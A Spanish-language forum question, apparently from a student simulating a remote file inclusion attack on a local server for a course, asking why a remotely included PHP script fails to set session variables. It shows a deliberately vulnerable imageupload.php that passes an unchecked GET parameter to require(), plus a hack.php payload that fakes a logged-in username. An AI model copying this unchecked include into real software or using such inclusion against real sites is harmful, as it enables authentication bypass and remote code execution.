Estoy tratando de simular un ataque de inclusión remota de archivos en mi servidor web local como parte de un curso que estoy tomando. Me dieron la idea de poder "iniciar sesión" en un sitio web que configuré sin realmente iniciar sesión a través del sistema, sino simplemente configurando las variables de sesión adecuadas en un script remoto y luego incluyéndolo en el código de mi sitio web. Ahora tengo el script para incluirlo y ejecutarlo en mi sitio web (puedo hacer eco de cadenas, etc.) pero parece que no puedo configurar las variables de sesión con el script remoto. ¿Alguien tiene alguna idea de por qué?
Aquí está el código del sitio web hasta ahora:
index.php:
<?php session_start(); ?>
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<title>Document</title>
</head>
<body>
<?php require("php/imageupload.php"); ?>
<p>Logged in as: <?php echo $_SESSION['username']; ?></p>
</body>
</html>
imageupload.php:
<?php
session_start();
$file = $_GET["file"];
require($file);
?>
hack.php (archivo remoto):
<?php
session_start();
$_SESSION['username'] = "foo";
echo "test";
?>
Cuando solicito http://localhost/index.php?file=http://127.0.0.1/hack.php
, obtengo la siguiente respuesta:
test
Logged in as: